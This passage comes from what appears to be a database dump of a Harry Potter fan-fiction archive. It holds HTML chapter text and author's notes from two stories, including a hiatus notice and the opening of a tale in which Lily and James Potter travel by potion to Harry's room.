drop you off at Hagrids\nand then I\'ll be late for Transfiguration...maybe if I run..&quot; Harry\nthought and took off for Hagrids.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hagrid!&quot;&nbsp; Harry said pounding on the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry!&nbsp;\nI\'m really sorry!&nbsp; I don\'t know\nwhere she went!&nbsp; I\'ve looked\neverywhere.&nbsp; She\'s-oh you got her\nthen.&quot;&nbsp; Hagrid said stopping when\nhe saw Mia in Harrys arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She was inside...&quot;&nbsp; Harry said holding her out for Hagrid to\ntake, &quot;Bye Mia.&nbsp; I\'ve got to go to\nclass.&quot;&nbsp; Harry said patting her on\nthe head and prying her tail off his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mia instantly started crying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now now.&nbsp;\nDon\'t cry.&quot; Hagrid said trying to get her to stop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harrrrry.&quot; Mia cried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed heavily, turned around again and\nsaid, &quot;Mia I\'ve <i>got </i>to go to\nclass!&nbsp; I\'m already late!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mia sniffed and stuck out her bottom lip.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll visit you at lunch time.&quot; he\nsaid and with a nod to Hagrid ran flat out to the castle to Transfiguration.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well I\'m so glad you finally decided to\njoin us Mr. Potter.&quot;&nbsp; McGonagall\nsaid sternly as Harry ran into the room, completely breathless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m sorry...Professer...one of\nHagrids...snoffles got out...and I had to go....and give her back.&quot;&nbsp; Harry said gasping for breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Professer McGonagall frowned, &quot;Sit down\nMr.Potter.&quot; she said and turned back to the blackboard, &quot;See me after\nclass.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry slumped down in a seat beside Ron who\ngave him a sympathetic glance, &quot;Aw man.&quot; he moaned quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It wasn\'t me fault Spree!&nbsp; I swear it\'s \'Pick on Potter\'\nday.&quot;&nbsp; Harry moaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;\'Pick on Potter\' day?&nbsp; Get a grip Harry!&nbsp; You got a detention in <i>every</i>\nclass!&nbsp; Okay you got one in Potions\nunfairly but that\'s the way it goes!&quot;&nbsp;\nSpree said shaking her head at him exasperatedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;They were all unfair!&quot;&nbsp; Harry exclaimed loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;They were not!&nbsp; You were late for Transfiguration-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Because of Mia.&quot;&nbsp; Harry interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;- you didn\'t do your Charms\nhomework.&quot;&nbsp; Spree continued\nignoring him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I tried!&nbsp;\nI just got it wrong!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You weren\'t paying attention in defense\nagainst the dark arts.&quot; Spree continued counting them off on her fingers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alright!&nbsp;\nAlright!&nbsp; I get the\npoint!&quot;&nbsp; Harry yelled throwing his\nhands up in the air, &quot;I\'m a bad student who got loads of detentions\ntoday.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Look on the bright side.&quot;&nbsp; Spree said smiling from ear to ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Whats the bright side?&quot;&nbsp; Harry asked in a pouting voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You only lost twenty house\npoints.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Arg!&quot;&nbsp; Harry growled and threw his pillow at Spree who collasped on the\nfloor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Meanie!&quot; she said pouting and\nfolding her arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Am not.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Are too!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Too!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Too!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;One!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;To-wait...&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hahaha gotcha!&quot;&nbsp; Harry said triumphantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Arg your such a pain in the-&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you.&quot;&nbsp; Harry interrupted grinning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN: Okay well that\'s chapter 5.&nbsp; wow it got me AGES to get that out..and I\ndon\'t think it was my best...:\\ but well...yeah.&nbsp; Okay so next chapter will be better!&nbsp; I promise!&nbsp; I\'ve just had\nloads on and everything!&nbsp; So yeah..okay\nwell let me know what you think with a nice long review *hint hint* </p>\n\n<p class="MsoNormal">love</p>\n\n<p class="MsoNormal">NiaSphinx</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Look out for Chapter 6!!!</p>\n\n\n\n\n\n\n'),
	(136, 6, ' <p>Authors note: </p>\n\n<p>Hi everyone! I know you&#8217;ve been waiting a long time for a new chapter update but the truth is&#8230;that my muses for this story have gone bye bye&#8230;so unfortunetly I&#8217;m declaring this story as of now indefinetly paused. If anyone out there would like to take up this story please email me at <a href="mailto:kiwi_chic_007@hotmail.com">kiwi_chic_007@hotmail.com</a> . I&#8217;d be glad to hear from anyone! So sorry again but hopefully my muses will come back to me with this story. In the mean time check out my other two stories Hogwarts Online&nbsp; and The talk (both of which are overdue for an update *grins*) Thanks so much everyone!</p>\n\n<p>NiaSphinx</p> '),
	(137, 1, '\n\n\n\n<p class="MsoNormal">Okay, my\nfirst fic, well, that is the first fic I&#8217;m making public.&nbsp;&nbsp;&nbsp; I have written a lot more, but there is\n*no* way I am going to post them.&nbsp; </p>\n\n<p class="MsoNormal">Before you\nstart the story: if it&#8217;s confusing, good.&nbsp;\nIt&#8217;ll make more sense later.&nbsp; I\n*want* it to be confusing.</p>\n\n<p class="MsoNormal">Secondly:\n*announciation*</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Written passages or thoughts, what really makes\nsense in that case</i></p>\n\n<p class="MsoNormal">Normal\nwriting</p>\n\n<p class="MsoNormal">Thirdly:&nbsp; I do not have spell-check at the\nmoment!!!!&nbsp; Nor do I have a beta\nreader.&nbsp; So please excuse the mistakes.&nbsp; Or maybe I should just let you read the\nfic...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter\n1:&nbsp; Screwed up Potions </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Swirling\ncolours, purples, reds, blues, greens, yellows, even a touch of white.&nbsp; The colours swirled, faster and faster,\ngaining speed, as a picture began to form.&nbsp;\nA picture of a non-descript room, white walls, wood floor, old bed, a\nwardrobe in the corner, a desk, and a broom.&nbsp;&nbsp;\nIt was tidy, no clothes strewed all over the floor, no posters, no signs\nof life.&nbsp; As far as it looked, no one\nlived in the room.&nbsp; The bed was perfectly\nmade, without a crease.&nbsp; The floor was\nperfectly swept, rug perfectly placed.&nbsp;\nThe shelves were ordered, the books were on one corner, a broken\ntelevision sat on the other side. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was a\ndisgrace to think that this could be the room of a fifteen year-old boy.&nbsp; Fifteen year-old boys were supposed to be\nmessy.&nbsp; They weren&#8217;t supposed to make a\nbed, especially as perfect as that one was made.&nbsp; They weren&#8217;t suposed to sweep the floor with\nout pleading to do something else, and then, when forced, it was a hapahazard\njob.&nbsp; She had witnessed it her self.&nbsp; Though she had never been a fifteen year-old\nboy, half of her friends had been, and she had witnessed how one must threaten,\nplead, wish, and finally torture a fifteen year-old boy to make his bed.&nbsp; That is, a normal fifteen year-old boy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was\nquite obvious that this fifteen year old boy was <i style="mso-bidi-font-style:\nnormal">not</i> normal.&nbsp; Now, as everyone\nwho reads this knows, this particular fifteen year-old boy was not normal.&nbsp; He was the saviour of the wizarding world, he\nlived with abusive muggles, and he had been tortured by and had duelled Lord\nVoldemort, had come away alive from it.&nbsp;\nThis, and many other things of the boy made him not normal.&nbsp; But of course, the woman did not know that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To tell the\ntruth, she knew nothing of the boy.&nbsp; She\ndid not even know his name, though she sensed that he was fifteen years-old,\nand had a connection to her.&nbsp; In truth,\nshe had no idea what she had just done.&nbsp;\nShe had tried to make a potion for her husband&#8217;s cold.&nbsp; He rarely got sick, but he had somehow\nrecieved a Frog Throat, and had turned into a giant baby.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shook\nher head, staring at the potion.&nbsp; She\nrather thought she had put in the wrong amount of toad eyes, or she had put in\nthe unicorn hair too early.&nbsp; She did not\nhave the potion receipe, and was going by memory.&nbsp; And now she had made some potion she had\nnever heard of, nor seen.&nbsp; She&#8217;d probably\npoison her husband.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dear?&nbsp; Is somethung wrong?&#8221;&nbsp; Her husband squeaked out, as he staggard in\nthe kitchen.&nbsp; &#8220;You&#8217;re taking quite a\nwhile for a simple potion.&#8221;&nbsp; He was tall,\ndressed in his blue and green wide plaid pyjamas, with his blue flannel robe\nwrapped around him.&nbsp; He was shivering,\nthough it August.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She turned\naround, and sighed.&nbsp; &#8220;I&#8217;m really not\nsure.&nbsp; I mean, I think I might have\ndiscovered a new potion.&#8221;&nbsp; She motioned\ntowards the cauldron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A new\npotion?&nbsp; Sounds interesting.&nbsp; I thought you actually paid attention in\npotions though.&#8221;&nbsp; He raised his eyebrows.&nbsp; As far as he knew, his wife was one of the\nfew people who actually had paid attention in potions class with Professor\nAegerson.&nbsp; She had actually been\nfascinated at it.&nbsp; He shook his\nhead.&nbsp; &#8220;Ah well, I suppose you can tell\nour dear old favourite potions Master that you discovered a new potion.&nbsp; That might put a happier twist on his sorry\nlife.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He grabbed\nhis stomach as his wife punched him.&nbsp;\n&#8220;Must you always be so critical of him? I know you don&#8217;t like him, but\nyou *could* be more understanding of his position, especially in these dark\ntimes.&nbsp; He&#8217;s lost more than we have and-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lost more\nthan we have?&nbsp; Are you joking?&nbsp; We lost our son, our goddamned only son, and\nyou say he&#8217;s lost more than we have?&nbsp;\nHow-&#8220;&nbsp; His hand swung out,\ncatching the potions ingredients that were on the counter, knocking them on the\nfloor.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What in\nthe world?&#8221;&nbsp; The woman stared at the jars\non the floor.&nbsp; &#8220;You know, I might have\nfigured out what I did...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nconversation, or should I say argument from before was forgotten as the man\njoined the woman on the floor.&nbsp; &#8220;What is\nit, H on?&#8221;&nbsp;&nbsp;&nbsp; He picked up a broken jar.&nbsp; &#8220;Looks like something broke...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\npercisely the problem.&nbsp; Put it down, you\nwouldn&#8217;t want to cut yourself.&#8221;&nbsp; She\nknocked the glass out of his hands.&nbsp; &#8220;The\njar that broke, it was labelled Sien.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sien?&nbsp; What is that?&#8221;&nbsp; The man asked, adjusting his glasses, illness\nforgotten.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have no\nidea how you got to be Head Boy.&nbsp;\nHonestly, it would have also been nice if you ever paid attention in\nPotions.&nbsp; Sien is a combination of\nmugwarts and boomslang skin, used in various medical potions.&nbsp; But as the glass broke, I realised it wasn&#8217;t\nSien in the jar, but something quite different.&nbsp;\nSien is a fine black powder, this podwer was yellow, and not as fine.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man\nshrugged.&nbsp; &#8220;I&#8217;ve never seen it\nbefore.&nbsp; Let&#8217;s just try out the\npotion.&nbsp; It looks intersting&#8221;&nbsp; He looked at the unchanging room.&nbsp; &#8220;I wonder where it is?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman\nsighed.&nbsp; &#8220;I have no idea.&nbsp; I mean, there are just things I know about\nit, like that it belongs to an unnormal fifteen year-old boy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Unnormal?&nbsp; Is that even a word?&nbsp; And why do you say that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because\nany fifteen year-ld boy who keeps his room spotless is not normal.&nbsp; Remeber how your mother always had to prod at\nyou to get you to do anything?&#8221;&nbsp; She eyed\nthe potion suspiciously.&nbsp; &#8220;You know, I\nwonder if anything&#8217;s wrong.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man\nshrugged.&nbsp; &#8220;No clue, but I do have an\nidea.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman\neyed him carefully.&nbsp; &#8220;What are you\nthinking?&nbsp; I hate it when you get that\nsparkling look in your eyes...almost as if you and Dumbledore are related...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man\nshrugged, asmile on his face.&nbsp; &#8220;Oh\nnothing.&nbsp; It&#8217;s just...&#8221;&nbsp; And he reached out as the woman noticed it\ntoo late.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&nbsp; Don&#8217;t touch the potion!&nbsp; Don&#8217;t-&#8220;&nbsp;\nBut it was too late, as his hand touched the potion and he and the woman\nwere sucked into it.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It swirled\naround them, as they landed hard on the ground of the spotless room.&nbsp; The woman groaned, as the man had landed\nontop of her.&nbsp; &#8220;Do you have to weigh so\nmuch?&#8221;&nbsp; She shoved the man off of her,\ngetting to her feet.&nbsp; In truth, the man\nwas actually very thin, but he was about two metres tall, and weighed more than\nhis petite wife.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t.&nbsp; I wonder where we are... it\ndidn&#8217;t seem like a transportation potion, but like something else.&nbsp; It was too long to transport us, and the\nswirls of colours...&#8221; He trailed off when he saw his wife staring at him,\nopen-mouthed.&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nnothing.&nbsp; I was just surprised you were\nactually saying something intelligent.&#8221;&nbsp;\nShe sighed, and moved towards the desk.&nbsp;\n&#8220;Now our problem is to figure out where we are.&nbsp; Wizard or muggle too.&nbsp; I&#8217;d hate to apparate in a muggle house.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man shrugged.&nbsp; &#8220;Let the muggles have a fright.&nbsp; Not to mention the Minisrty-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh you\nidiot, the Ministry is what we&#8217;re trying to avoid.&nbsp; I mean, our names do have *some* standing,\nbut even Fudge is going to be a bit-&#8220; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I still\nwonder how that idiot ever made it to&nbsp;\nMinister.&#8221;&nbsp; He interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because it\nwas either him, Lucius Malfoy, or Dumbledore, who got nominated, even though he\ndidn&#8217;t want to run.&nbsp; Now, most people\nwould have picked Dumbledore, but he didn&#8217;t want it, and then it was left to\nFudge or a Death Eater and-&#8220; She opened a desk drawer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And you&#8217;re\ndoing it again.&nbsp; Why don&#8217;t you sit down,\ncatch your breath, and think things through.&nbsp;\nYou know how it is when you go off on a tangent-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, be\nquiet.&nbsp; Look what I found.&#8221;&nbsp; In her hands was a piece of parchment.&nbsp; It was an ordinary piece of parchment, a bit\nold, but other than that in fine condition.&nbsp;\nIt had some writing on it, but the man wasn&#8217;t close enough to read it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&nbsp; It just proves we&#8217;re in a wizard&#8217;s\nhouse.&nbsp; Perfect, let&#8217;s go down stairs, or\nat least apparate out.&#8221;&nbsp; He started\ntowards the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait!&#8221;&nbsp; The woman hissed, grabbing his bath\nrobe.&nbsp; &#8220;Did you see what was&nbsp; *written* on the parchment?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man\nshrugged.&nbsp; &#8220;Umm, no.&nbsp; I didn&#8217;t.&nbsp;\nSuppose I need a new pair again, or mine are dirty, or that *supposed*\nbest friend of mine enchanted them again.&nbsp;\nRemember when he enchanted them to see through clothing?&nbsp; God, that was embarressing, I mean Minerva\nMcGonagall in her underwear.&#8221;&nbsp; He\nshuddered.&nbsp; &#8220;I should kill him for that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&nbsp; You already enchanted his robes to be see\nthrough for a week, *all* of his robes.&nbsp;\nAnd muggle clothes too.&nbsp; And\nthat&#8217;s not the point.&#8221;&nbsp; She pointed to\nthe words on the parchment.&nbsp; &#8220;*This* is\nwhat&#8217;s important.&#8221;&nbsp; And she shoved the\npaper right under the man&#8217;s nose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&#8220;*Mr Potter,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">A slight reminder that when Professor\nDumbledore says he wishes that you stay with your muggle relatives for the\nsummer, he means it.&nbsp; I was not very\nhappy this morning when your owl upset my tea this morning, as Professor\nDumbledore was not there to receive it.&nbsp;\nSo, Mr Potter, please refrain from constantly asking the Headmaster to\nlet you stay with Mr Weasley.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">-Professor M. McGonagall*&#8221;&nbsp; </i>&nbsp;&nbsp;The man stared at it.&nbsp; He read it over a few more times.&nbsp; Then he met his wife&#8217;s eyes.&nbsp; &#8220;All right, Lil, what *is* this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman\nsighed as she shook her head.&nbsp; &#8220;I don&#8217;t\nknow, James, I really don&#8217;t know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext 3.0pt;\npadding:0cm;mso-padding-alt:0cm 0cm 1.0pt 0cm">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Okay, how\nwas it?&nbsp; Now, take into account this was\njust from the top of my head, and it was written in about an hour.&nbsp; Also take in account I have no spell-&nbsp; okay, I&#8217;m rambling.&nbsp; I tend to ramble sometimes....</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Umm yes,\nnow about the chapter.&nbsp; First of all,\nLily and James didn&#8217;t use their names before then because, when you know\nsomeone that well, do you really constantly use their name?&nbsp; I once watched it between ny brother and I,\nand I didn&#8217;t use his name for about a day.&nbsp;\nIt was clear who I was talking to, and I didn&#8217;t feel like it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And about\nthe situation they&#8217;re in, you&#8217;ll have to wait till the next chapter.&nbsp; To tell the truth, I want to make this dark,\nthough my beginning certainly doesn&#8217;t set that up.&nbsp; But I *will* try.&nbsp; And if anyone hates Snape, then you might as\nwell go.&nbsp; I&#8217;m not making Snape Harry&#8217;s\nfather, or anything like that, heavens no, but he *was* friends with Lily.&nbsp; Not dating, but friends.&nbsp; And I&#8217;ll probably also make this a H/H.&nbsp; Not really sure at the moment, but it seems\nlike I will.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But anyway,\nas I said before, I want a beta reader.&nbsp;\nOr perhaps two, or three.&nbsp; I don&#8217;t\nreally care how many, but I&#8217;d really like one.&nbsp;\nI got 750 Verbal on my SAT, but I don&#8217;t write like I did for my SAT on\nmy stories.&nbsp; I also type quickly, so\nyeah, I miss a lot.&nbsp; And I&#8217;m also\nAmerican, so I&#8217;d like a bit of help english-ising it.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I think\nthat&#8217;s about it...except for a plea for reviews.&nbsp; I don&#8217;t care, if it sucks, please, please\ntell me.&nbsp; But nice reviews are best.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GTG, Myra</p>\n\n\n\n\n\n\n'),
	(137, 2, '\n\n\n\n<p class="MsoNormal">Disclaimer&#8230;which\nI forgot last time:&nbsp; I do not own Harry\nPotter or any of the characters that might appear.&nbsp; I do, however, own any unfamiliar characters or objects.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh, I was so happy with all the reviews I\ngot.&nbsp; You people are quite\nwonderful.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Something I noticed though was that a few of\nyou didn&#8217;t want H/H, and some did.&nbsp;\nWell, here&#8217;s the thing.&nbsp; It\n*will* be H/H.&nbsp; Sorry, folks, but that&#8217;s\nthe only Ship I can write and don&#8217;t find repulsive&#8230;though I *can* read other\nfics, as long as they don&#8217;t have much romance.&nbsp;\nBut anyway, though it is H/H, there won&#8217;t be a lot of romance.&nbsp; Very little, actually.&nbsp; At first we have Harry who has to sort a\n*lot* of things out and then, only then can he start a relationship.&nbsp; And trust me, that will take a while.&nbsp; So, for those who like H/H, it will come\neventually, and for those who don&#8217;t, it will take awhile.&nbsp; Hope that satisfies you guys.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">About L/J.&nbsp;\nThis fic is *not* a L/J.&nbsp; It\nstarts out like it, I know, but that isn&#8217;t the main ship.&nbsp; H/H is, though there won&#8217;t be much of that\nfor a while.&nbsp; First they have to become\nbetter friends and then they can start getting together.&nbsp; So the L/J moments aren&#8217;t the main\nrelationship and I doubt there will be many L/J moments, that is, moments where\nthey&#8217;re doing anything romantic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Another prospect that came up in the reviews\nwas that the first chapter was confusing.&nbsp;\nGood.&nbsp; I *wanted* it that\nway.&nbsp; And this chapter isn&#8217;t much\nbetter, or at least I think so.&nbsp; You\n*will* get answers, but be patient because some are long in coming.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To everyone else who reviewed:&nbsp; Thanks so much for the praise.&nbsp; I&#8217;ll leave you to the\nchapter now&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 2: The Old Woman Next Door, With Her\nFunny Cat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The day started out normal.&nbsp; It was hot, almost unbearably and Harry had\ndecided that being woken by the sun shining in your eyes at six thirty in the\nmorning was *not* so nice.&nbsp; Actually, it\nwas downright irritating.&nbsp; On the good\nside, it meant that Aunt Petunia wouldn&#8217;t\nhave to wake him.&nbsp; Pounding on the door,\nscreeching like a harpy, it was *not* a nice scene to wake up to.&nbsp; So, at six-thirty, Harry climbed out of bed,\nthrew on some clothes, which, though they were terribly too big in the waist,\nfit him in the length and a muggle t-shirt of Dudley&#8217;s\nfrom when he was eleven.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In the mornings, Harry never bothered to do\nanything to his hair, or even to look in a mirror.&nbsp; There was no reason to.&nbsp;\nHe already knew that his hair was a mess and seeing himself in the\nmirror wouldn&#8217;t make any difference, or so he thought.&nbsp; Actually, what Harry didn&#8217;t realise, is that he had grown.&nbsp;\nQuite a bit, really, but let&#8217;s not get into that\nnow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The morning had proceeded as usual.&nbsp; Harry had cooked a rabbit&#8217;s breakfast, Aunt Petunia had yelled at him a bit, Uncle Vernon had\ngiven him some odd looks and Dudley complained about his food.&nbsp; Harry was sent out to do work, usual things\nlike painting the house and weeding the garden.&nbsp; Dudley went off with his friends and Aunt Petunia stayed in and\nstraightened up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wiped his brow as he finished weeding the\ngarden.&nbsp; Aunt Petunia thought very\nhighly of her flowerbeds and didn&#8217;t let *anyone* near\nthem.&nbsp; Except Harry, when he was weeding\nthem.&nbsp; In a way, Harry should have been\nhighly honoured that Aunt Petunia let him, and only him alone, near the flowers.&nbsp; But in the bright sun, Harry was wishing\nmore that she liked him enough to have him work in the house, the coldest part\nof the house.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed as he wiped his brow.&nbsp; Something he had noticed from the very\nbeginning was that there were no lilies in sight, though ample petunias.&nbsp; Harry considered planting a lily in there,\njust for a joke, but then decided against it.&nbsp;\nHe didn&#8217;t want to know what Petunia would do.&nbsp; And in a way, it *was* interesting, working\nin the garden.&nbsp; He got to see all the\nneighbours, which meant Uncle Vernon had to stop the heavy beatings that left\nbruises in places where one could see and though the neighbours weren&#8217;t *that* talkative, a few were.&nbsp;\nFor instance Mrs Figg.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs Figg loved chatting with Harry.&nbsp; She always had at least one cat curled\naround her feet and would stand over the bordering fence keeping an eye out on\nHarry.&nbsp; For the most part Harry just\nlistened and made noises of understanding, such as &#8216;hmm&#8217;, &#8216;oh yeah&#8217;, &#8216;right&#8217; and so on.&nbsp;\nIt was really quite a one sided conversation, but Mrs Figg didn&#8217;t seem to mind.</p>\n\n<p 